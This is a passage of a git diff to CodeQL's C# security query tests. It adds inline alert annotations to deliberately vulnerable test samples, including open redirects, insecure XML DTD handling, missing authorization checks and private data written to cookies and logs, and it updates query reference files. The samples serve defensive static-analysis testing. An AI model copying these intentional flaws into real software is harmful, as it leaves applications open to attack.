Features/CWE-352/missing/MissingAntiForgeryTokenValidation.qlref b/csharp/ql/test/query-tests/Security Features/CWE-352/missing/MissingAntiForgeryTokenValidation.qlref index 38fdc5c57385..8948b9773a2d 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-352/missing/MissingAntiForgeryTokenValidation.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-352/missing/MissingAntiForgeryTokenValidation.qlref @@ -1 +1,2 @@ -Security Features/CWE-352/MissingAntiForgeryTokenValidation.ql \ No newline at end of file +query: Security Features/CWE-352/MissingAntiForgeryTokenValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-359/ExposureOfPrivateInformation.cs b/csharp/ql/test/query-tests/Security Features/CWE-359/ExposureOfPrivateInformation.cs index 675b05c29de3..21f925536d73 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-359/ExposureOfPrivateInformation.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-359/ExposureOfPrivateInformation.cs @@ -15,19 +15,19 @@ public class ExposureOfPrivateInformationHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { // BAD: Setting a cookie value or values with private data. - ctx.Response.Cookies["MyCookie"].Value = ctx.Request.QueryString["postcode"]; + ctx.Response.Cookies["MyCookie"].Value = ctx.Request.QueryString["postcode"]; // $ Alert Person p = new Person(); - ctx.Response.Cookies["MyCookie"].Value = p.getTelephone(); + ctx.Response.Cookies["MyCookie"].Value = p.getTelephone(); // $ Alert // BAD: Logging private data ILogger logger = new ILogger(); - logger.Warn(p.getTelephone()); + logger.Warn(p.getTelephone()); // $ Alert // BAD: Storing sensitive data in unencrypted local file using (var writeStream = File.Open("telephones.txt", FileMode.Create)) { var writer = new StreamWriter(writeStream); - writer.Write(p.getTelephone()); + writer.Write(p.getTelephone()); // $ Alert writer.Close(); } @@ -59,7 +59,7 @@ public bool IsReusable void OnButtonClicked() { ILogger logger = new ILogger(); - logger.Warn(postcode.Text); + logger.Warn(postcode.Text); // $ Alert } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-359/ExposureOfPrivateInformation.qlref b/csharp/ql/test/query-tests/Security Features/CWE-359/ExposureOfPrivateInformation.qlref index 9d578d17de89..fb1a58d5f9e6 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-359/ExposureOfPrivateInformation.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-359/ExposureOfPrivateInformation.qlref @@ -1 +1,2 @@ -Security Features/CWE-359/ExposureOfPrivateInformation.ql \ No newline at end of file +query: Security Features/CWE-359/ExposureOfPrivateInformation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-384/AbandonSession.cs b/csharp/ql/test/query-tests/Security Features/CWE-384/AbandonSession.cs index d674b33a0365..0cbc40c0c168 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-384/AbandonSession.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-384/AbandonSession.cs @@ -8,7 +8,7 @@ public void ProcessRequest(HttpContext ctx) if (FormsAuthentication.Authenticate("username", "password")) { - ctx.Session["foo"] = "bar"; // BAD: Session has not been abandoned + ctx.Session["foo"] = "bar"; // BAD: Session has not been abandoned // $ Alert ctx.Session.Abandon(); ctx.Session["foo"] = "bar"; // GOOD: Session is abandoned } @@ -48,9 +48,9 @@ public void ProcessRequest(HttpContext ctx) if (Membership.ValidateUser("username", "password")) { - ctx.Session["foo"] = "bar"; // BAD: Session not abandoned + ctx.Session["foo"] = "bar"; // BAD: Session not abandoned // $ Alert } - ctx.Session["foo"] = "bar"; // BAD: here as well + ctx.Session["foo"] = "bar"; // BAD: here as well // $ Alert } public bool IsReusable => true; diff --git a/csharp/ql/test/query-tests/Security Features/CWE-384/AbandonSession.qlref b/csharp/ql/test/query-tests/Security Features/CWE-384/AbandonSession.qlref index f67c9a36e202..c3ac664edb29 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-384/AbandonSession.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-384/AbandonSession.qlref @@ -1 +1,2 @@ -Security Features/CWE-384/AbandonSession.ql \ No newline at end of file +query: Security Features/CWE-384/AbandonSession.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/CodeAddedHeader/MissingXFrameOptions.qlref b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/CodeAddedHeader/MissingXFrameOptions.qlref index b8a963200e57..d0d38c4b0117 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/CodeAddedHeader/MissingXFrameOptions.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/CodeAddedHeader/MissingXFrameOptions.qlref @@ -1 +1,2 @@ -Security Features/CWE-451/MissingXFrameOptions.ql +query: Security Features/CWE-451/MissingXFrameOptions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/NoHeader/MissingXFrameOptions.qlref b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/NoHeader/MissingXFrameOptions.qlref index b8a963200e57..d0d38c4b0117 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/NoHeader/MissingXFrameOptions.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/NoHeader/MissingXFrameOptions.qlref @@ -1 +1,2 @@ -Security Features/CWE-451/MissingXFrameOptions.ql +query: Security Features/CWE-451/MissingXFrameOptions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/NoHeader/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/NoHeader/Web.config index 8f0b996a0244..66a19f0635a5 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/NoHeader/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/NoHeader/Web.config @@ -2,4 +2,4 @@ - + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/WebConfigAddedHeader/MissingXFrameOptions.qlref b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/WebConfigAddedHeader/MissingXFrameOptions.qlref index b8a963200e57..d0d38c4b0117 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/WebConfigAddedHeader/MissingXFrameOptions.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/WebConfigAddedHeader/MissingXFrameOptions.qlref @@ -1 +1,2 @@ -Security Features/CWE-451/MissingXFrameOptions.ql +query: Security Features/CWE-451/MissingXFrameOptions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/WebConfigAddedHeaderInLocation/MissingXFrameOptions.qlref b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/WebConfigAddedHeaderInLocation/MissingXFrameOptions.qlref index b8a963200e57..d0d38c4b0117 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/WebConfigAddedHeaderInLocation/MissingXFrameOptions.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-451/MissingXFrameOptions/WebConfigAddedHeaderInLocation/MissingXFrameOptions.qlref @@ -1 +1,2 @@ -Security Features/CWE-451/MissingXFrameOptions.ql +query: Security Features/CWE-451/MissingXFrameOptions.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-539/PersistentCookie/PersistentCookie.cs b/csharp/ql/test/query-tests/Security Features/CWE-539/PersistentCookie/PersistentCookie.cs index 8370fe93ba0d..c64e6d6a043f 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-539/PersistentCookie/PersistentCookie.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-539/PersistentCookie/PersistentCookie.cs @@ -4,8 +4,8 @@ class PersistentCookie { void M(System.Web.HttpCookie cookie) { - cookie.Expires = DateTime.Now.AddMonths(12); // BAD + cookie.Expires = DateTime.Now.AddMonths(12); // BAD // $ Alert cookie.Expires = DateTime.Now.AddMinutes(3); // GOOD - cookie.Expires = DateTime.Now.AddSeconds(301); // BAD + cookie.Expires = DateTime.Now.AddSeconds(301); // BAD // $ Alert } } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-539/PersistentCookie/PersistentCookie.qlref b/csharp/ql/test/query-tests/Security Features/CWE-539/PersistentCookie/PersistentCookie.qlref index 1d2111ac3fe7..d321b853086e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-539/PersistentCookie/PersistentCookie.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-539/PersistentCookie/PersistentCookie.qlref @@ -1 +1,2 @@ -Security Features/PersistentCookie.ql \ No newline at end of file +query: Security Features/PersistentCookie.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-548/ASPNetDirectoryListing.qlref b/csharp/ql/test/query-tests/Security Features/CWE-548/ASPNetDirectoryListing.qlref index 40d1fce18b5c..c792e1fcbe42 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-548/ASPNetDirectoryListing.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-548/ASPNetDirectoryListing.qlref @@ -1 +1,2 @@ -Security Features/CWE-548/ASPNetDirectoryListing.ql \ No newline at end of file +query: Security Features/CWE-548/ASPNetDirectoryListing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-548/web.config b/csharp/ql/test/query-tests/Security Features/CWE-548/web.config index b4276433838e..0631d8116609 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-548/web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-548/web.config @@ -1,6 +1,6 @@ - + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect.cs b/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect.cs index 3b3aae534adb..673502b960e1 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect.cs @@ -10,7 +10,7 @@ public class UrlRedirectHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { // BAD: a request parameter is incorporated without validation into a URL redirect - ctx.Response.Redirect(ctx.Request.QueryString["page"]); + ctx.Response.Redirect(ctx.Request.QueryString["page"]); // $ Alert[cs/web/unvalidated-url-redirection]=r2 $ Alert[cs/web/unvalidated-url-redirection]=r2 // GOOD: the request parameter is validated against a known fixed string if (VALID_REDIRECT == ctx.Request.QueryString["page"]) @@ -20,7 +20,7 @@ public void ProcessRequest(HttpContext ctx) // GOOD: We check whether this is a local URL before redirecting, using UrlHelper. // As recommended by https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks - string url = ctx.Request.QueryString["page"]; + string url = ctx.Request.QueryString["page"]; // $ Source[cs/web/unvalidated-url-redirection]=r5 $ Source[cs/web/unvalidated-url-redirection]=r6 $ Source[cs/web/unvalidated-url-redirection]=r7 $ Source[cs/web/unvalidated-url-redirection]=r8 if (new UrlHelper(null).IsLocalUrl(url)) { ctx.Response.Redirect(url); @@ -35,8 +35,8 @@ public void ProcessRequest(HttpContext ctx) } // BAD: Adding or appending a header - ctx.Response.AddHeader("Location", ctx.Request.QueryString["page"]); - ctx.Response.AppendHeader("Location", ctx.Request.QueryString["page"]); + ctx.Response.AddHeader("Location", ctx.Request.QueryString["page"]); // $ Alert[cs/web/unvalidated-url-redirection]=r3 $ Alert[cs/web/unvalidated-url-redirection]=r3 + ctx.Response.AppendHeader("Location", ctx.Request.QueryString["page"]); // $ Alert[cs/web/unvalidated-url-redirection]=r4 $ Alert[cs/web/unvalidated-url-redirection]=r4 // GOOD: Redirecting to the RawUrl only reloads the current Url ctx.Response.Redirect(ctx.Request.RawUrl); @@ -45,7 +45,7 @@ public void ProcessRequest(HttpContext ctx) ctx.Response.Redirect("foo.asp?param=" + url); // BAD: Using Transfer with unvalidated user input - ctx.Server.Transfer(url); + ctx.Server.Transfer(url); // $ Alert[cs/web/unvalidated-url-redirection]=r5 // GOOD: request parameter is URL encoded ctx.Response.Redirect(HttpUtility.UrlEncode(ctx.Request.QueryString["page"])); @@ -61,19 +61,19 @@ public void ProcessRequest(HttpContext ctx) ctx.Response.Redirect($"foo.asp?param={url}"); // BAD: The attacker can control the location - ctx.Response.Redirect($"{url}.asp?param=foo"); + ctx.Response.Redirect($"{url}.asp?param=foo"); // $ Alert[cs/web/unvalidated-url-redirection]=r6 // GOOD: The attacker can only control the parameters, not the location ctx.Response.Redirect(string.Format("foo.asp?param={0}", url)); // BAD: The attacker can control the location - ctx.Response.Redirect(string.Format("{0}.asp?param=foo", url)); + ctx.Response.Redirect(string.Format("{0}.asp?param=foo", url)); // $ Alert[cs/web/unvalidated-url-redirection]=r7 // GOOD: The attacker can only control the parameters, not the location ctx.Response.Redirect(string.Format("foo.asp?{1}param={0}", url, url)); // BAD: The attacker can control the location - ctx.Response.Redirect(string.Format("{1}.asp?{0}param=foo", url, url)); + ctx.Response.Redirect(string.Format("{1}.asp?{0}param=foo", url, url)); // $ Alert[cs/web/unvalidated-url-redirection]=r8 } // Implementation as recommended by Microsoft. diff --git a/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect.qlref b/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect.qlref index fdb38b9ffc00..c24957fa4a02 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-601/UrlRedirect.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect2.cs b/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect2.cs index 83f499ea048d..6093fbeeb4a7 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect2.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirect2.cs @@ -11,7 +11,7 @@ public class UrlRedirectHandler2 : IHttpHandler public void ProcessRequest(HttpContext ctx) { // BAD: a request parameter is incorporated without validation into a URL redirect - ctx.Response.Redirect(ctx.Request.QueryString["page"]); + ctx.Response.Redirect(ctx.Request.QueryString["page"]); // $ Alert[cs/web/unvalidated-url-redirection]=r1 $ Alert[cs/web/unvalidated-url-redirection]=r1 var redirectUrl = ctx.Request.QueryString["page"]; if (VALID_REDIRECTS.Contains(redirectUrl)) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirectCore.cs b/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirectCore.cs index 2da9652d8547..b147be0fe32a 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirectCore.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-601/UrlRedirect/UrlRedirectCore.cs @@ -10,50 +10,50 @@ public class SomeController : ControllerBase private static string SomeValue = "HeaderValue"; [HttpPost] - public void Post([FromBody] string value) + public void Post([FromBody] string value) // $ Source[cs/web/unvalidated-url-redirection]=r9 $ Source[cs/web/unvalidated-url-redirection]=r10 $ Source[cs/web/unvalidated-url-redirection]=r11 $ Source[cs/web/unvalidated-url-redirection]=r12 $ Source[cs/web/unvalidated-url-redirection]=r13 $ Source[cs/web/unvalidated-url-redirection]=r14 $ Source[cs/web/unvalidated-url-redirection]=r15 { // BAD: straight up controller redirect - Redirect(value); + Redirect(value); // $ Alert[cs/web/unvalidated-url-redirection]=r9 // BAD: Setting response headers collection, location = redirect - Response.Headers["location"] = value; + Response.Headers["location"] = value; // $ Alert[cs/web/unvalidated-url-redirection]=r10 // GOOD: Setting response header to a constant value Response.Headers["location"] = SomeValue; // BAD: Setting response headers collection, location = redirect via add method - Response.Headers.Add("location", value); + Response.Headers.Add("location", value); // $ Alert[cs/web/unvalidated-url-redirection]=r11 // GOOD: Setting response header to a constant value Response.Headers.Add("location", "foo"); // BAD: redirect via location - Response.Headers.SetCommaSeparatedValues("location", value); + Response.Headers.SetCommaSeparatedValues("location", value); // $ Alert[cs/web/unvalidated-url-redirection]=r12 // BAD = redirect via setting location value from tainted source - Response.Headers.Append("location", value); + Response.Headers.Append("location", value); // $ Alert[cs/web/unvalidated-url-redirection]=r13 // BAD: redirect via setting location header from comma-separated values - Response.Headers.AppendCommaSeparatedValues("location", value); + Response.Headers.AppendCommaSeparatedValues("location", value); // $ Alert[cs/web/unvalidated-url-redirection]=r14 // BAD: tainted redirect to Action - RedirectToActionPermanent("Error" + value); + RedirectToActionPermanent("Error" + value); // $ Alert[cs/web/unvalidated-url-redirection]=r15 } // PUT: api/Some/5 [HttpPut("{id}")] - public void Put(int id, [FromBody] string value) + public void Put(int id, [FromBody] string value) // $ Source[cs/web/unvalidated-url-redirection]=r16 $ Source[cs/web/unvalidated-url-redirection]=r17 $ Source[cs/web/unvalidated-url-redirection]=r18 { - RedirectToPage(value); + RedirectToPage(value); // $ Alert[cs/web/unvalidated-url-redirection]=r16 var headers = new ResponseHeaders(Response.Headers); // BAD: redirect via header helper class - headers.Location = new Uri(value); + headers.Location = new Uri(value); // $ Alert[cs/web/unvalidated-url-redirection]=r17 // BAD: response redirect - Response.Redirect(value); + Response.Redirect(value); // $ Alert[cs/web/unvalidated-url-redirection]=r18 // GOOD: whitelisted redirect if(Url.IsLocalUrl(value)) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-611/Test.cs b/csharp/ql/test/query-tests/Security Features/CWE-611/Test.cs index 005e79a7fb4f..103d3cca4cc0 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-611/Test.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-611/Test.cs @@ -8,7 +8,7 @@ public class XMLHandler : IHttpHandler public void ProcessRequest(HttpContext ctx) { // BAD: XmlTextReader is insecure with these options, using user-provided data - XmlTextReader reader = new XmlTextReader(ctx.Request.QueryString["document"]) { DtdProcessing = DtdProcessing.Parse, XmlResolver = new XmlUrlResolver() }; + XmlTextReader reader = new XmlTextReader(ctx.Request.QueryString["document"]) { DtdProcessing = DtdProcessing.Parse, XmlResolver = new XmlUrlResolver() }; // $ Alert[cs/xml/insecure-dtd-handling]=r1 $ Alert[cs/xml/insecure-dtd-handling]=r1 $ Alert[cs/insecure-xml-read] } public void insecureXMLBad(string content) @@ -18,10 +18,10 @@ public void insecureXMLBad(string content) settings.XmlResolver = new XmlUrlResolver(); // BAD: insecure settings - XmlReader reader1 = XmlReader.Create(content, settings); + XmlReader reader1 = XmlReader.Create(content, settings); // $ Alert[cs/insecure-xml-read] // BAD: XmlTextReader is insecure with these options - XmlTextReader reader2 = new XmlTextReader(content) { DtdProcessing = DtdProcessing.Parse, XmlResolver = new XmlUrlResolver() }; + XmlTextReader reader2 = new XmlTextReader(content) { DtdProcessing = DtdProcessing.Parse, XmlResolver = new XmlUrlResolver() }; // $ Alert[cs/insecure-xml-read] } public void insecureXMLGood(string content) diff --git a/csharp/ql/test/query-tests/Security Features/CWE-611/UntrustedDataInsecureXml.qlref b/csharp/ql/test/query-tests/Security Features/CWE-611/UntrustedDataInsecureXml.qlref index 7f685106e250..8cc567d8a970 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-611/UntrustedDataInsecureXml.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-611/UntrustedDataInsecureXml.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-611/UntrustedDataInsecureXml.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-611/UseXmlSecureResolver.qlref b/csharp/ql/test/query-tests/Security Features/CWE-611/UseXmlSecureResolver.qlref index b11f53079246..851c79c15932 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-611/UseXmlSecureResolver.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-611/UseXmlSecureResolver.qlref @@ -1,2 +1,4 @@ query: Security Features/CWE-611/UseXmlSecureResolver.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/AddedInCode/RequireSSL.qlref b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/AddedInCode/RequireSSL.qlref index 73523f94fc09..1a762e07498e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/AddedInCode/RequireSSL.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/AddedInCode/RequireSSL.qlref @@ -1 +1,2 @@ -Security Features/CWE-614/RequireSSL.ql \ No newline at end of file +query: Security Features/CWE-614/RequireSSL.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/AddedInForms/RequireSSL.qlref b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/AddedInForms/RequireSSL.qlref index 73523f94fc09..1a762e07498e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/AddedInForms/RequireSSL.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/AddedInForms/RequireSSL.qlref @@ -1 +1,2 @@ -Security Features/CWE-614/RequireSSL.ql \ No newline at end of file +query: Security Features/CWE-614/RequireSSL.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/HttpCookiesCorrect/RequireSSL.qlref b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/HttpCookiesCorrect/RequireSSL.qlref index 73523f94fc09..1a762e07498e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/HttpCookiesCorrect/RequireSSL.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/HttpCookiesCorrect/RequireSSL.qlref @@ -1 +1,2 @@ -Security Features/CWE-614/RequireSSL.ql \ No newline at end of file +query: Security Features/CWE-614/RequireSSL.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/HttpCookiesCorrect/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/HttpCookiesCorrect/Web.config index 1ddaaf2b65f2..7755ae7462d4 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/HttpCookiesCorrect/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/HttpCookiesCorrect/Web.config @@ -2,7 +2,7 @@ - + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/RequireSSLMissing/RequireSSL.qlref b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/RequireSSLMissing/RequireSSL.qlref index 73523f94fc09..1a762e07498e 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/RequireSSLMissing/RequireSSL.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/RequireSSLMissing/RequireSSL.qlref @@ -1 +1,2 @@ -Security Features/CWE-614/RequireSSL.ql \ No newline at end of file +query: Security Features/CWE-614/RequireSSL.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/RequireSSLMissing/Web.config b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/RequireSSLMissing/Web.config index 0ab64b1fcb62..45f9f219f096 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/RequireSSLMissing/Web.config +++ b/csharp/ql/test/query-tests/Security Features/CWE-614/RequireSSL/RequireSSLMissing/Web.config @@ -2,8 +2,8 @@ - + - + diff --git a/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/CommentController.cs b/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/CommentController.cs index d446c7ed4864..2508a7c159c3 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/CommentController.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/CommentController.cs @@ -12,7 +12,7 @@ public CommentController(IAuthorizationService authorizationService) } // BAD: Any user can access this. - public ActionResult Edit1(int commentId, string text) + public ActionResult Edit1(int commentId, string text) // $ Alert { editComment(commentId, text); return View(); @@ -39,7 +39,7 @@ public ActionResult Edit3(int commentId, string text) // BAD: The AllowAnonymous attribute overrides the Authorize attribute [Authorize] [AllowAnonymous] - public ActionResult Edit4(int commentId, string text) + public ActionResult Edit4(int commentId, string text) // $ Alert { editComment(commentId, text); return View(); diff --git a/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/InsecureDirectObjectReference.qlref b/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/InsecureDirectObjectReference.qlref index 4756d5a76a4f..8fb76298ac58 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/InsecureDirectObjectReference.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/InsecureDirectObjectReference.qlref @@ -1 +1,2 @@ -Security Features/CWE-639/InsecureDirectObjectReference.ql \ No newline at end of file +query: Security Features/CWE-639/InsecureDirectObjectReference.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/MiscTestControllers.cs b/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/MiscTestControllers.cs index 503b2955933d..5ff2e2187684 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/MiscTestControllers.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/MiscTestControllers.cs @@ -23,7 +23,7 @@ public class AController : BaseController { public class BaseAuthController : Controller { // BAD - A subclass of AllowAnonymous is used [MyAllowAnonymous] - public virtual ActionResult EditAnon(int id) { return View(); } + public virtual ActionResult EditAnon(int id) { return View(); } // $ Alert } public class BController : BaseAuthController { @@ -31,7 +31,7 @@ public class BController : BaseAuthController { public ActionResult Edit3(int id) { return View(); } // BAD - MyAllowAnonymous is inherited from overridden method - public override ActionResult EditAnon(int id) { return View(); } + public override ActionResult EditAnon(int id) { return View(); } // $ Alert } [AllowAnonymous] @@ -42,7 +42,7 @@ public class BaseAnonController : Controller { public class CController : BaseAnonController { // BAD - AllowAnonymous is inherited from base class and overrides Authorize [Authorize] - public ActionResult Edit4(int id) { return View(); } + public ActionResult Edit4(int id) { return View(); } // $ Alert } [Authorize] diff --git a/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/ProfileController.cs b/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/ProfileController.cs index a41c32db6411..adb24ce0c3c9 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/ProfileController.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-639/MVCTests/ProfileController.cs @@ -11,7 +11,7 @@ public ActionResult Edit1(int profileId, string text) { // BAD: The AllowAnonymous attribute overrides the Authorize attribute on the class. [AllowAnonymous] - public ActionResult Edit2(int profileId, string text) { + public ActionResult Edit2(int profileId, string text) { // $ Alert editProfileName(profileId, text); return View(); } diff --git a/csharp/ql/test/query-tests/Security Features/CWE-639/WebFormsTests/EditComment.aspx.cs b/csharp/ql/test/query-tests/Security Features/CWE-639/WebFormsTests/EditComment.aspx.cs index 974869a0af4b..bdcf80a010fe 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-639/WebFormsTests/EditComment.aspx.cs +++ b/csharp/ql/test/query-tests/Security Features/CWE-639/WebFormsTests/EditComment.aspx.cs @@ -4,7 +4,7 @@ class EditComment : System.Web.UI.Page { // BAD - Any user can access this method. - protected void btn1_Click(object sender, EventArgs e) { + protected void btn1_Click(object sender, EventArgs e) { // $ Alert string commentId = Request.QueryString["Id"]; Comment comment = getCommentById(commentId); comment.Text = "xyz"; diff --git a/csharp/ql/test/query-tests/Security Features/CWE-639/WebFormsTests/InsecureDirectObjectReference.qlref b/csharp/ql/test/query-tests/Security Features/CWE-639/WebFormsTests/InsecureDirectObjectReference.qlref index 4756d5a76a4f..8fb76298ac58 100644 --- a/csharp/ql/test/query-tests/Security Features/CWE-639/WebFormsTests/InsecureDirectObjectReference.qlref +++ b/csharp/ql/test/query-tests/Security Features/CWE-639/WebFormsTests/InsecureDirectObjectReference.qlref @@ -1 +1,2 @@ -Security Features/CWE-639/InsecureDirectObjectReference.ql \ No newline at end of file +query: Security Features/CWE-639/InsecureDirectObjectReference.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/csharp/ql/test/query-tests/Security Features/CWE-643/XPathInjection.cs b/csharp/ql/test/query-tests/Security Features/CWE-643/XPathInjection.cs index a42a629cc7ec..4ce6e1268a72 100644 --- 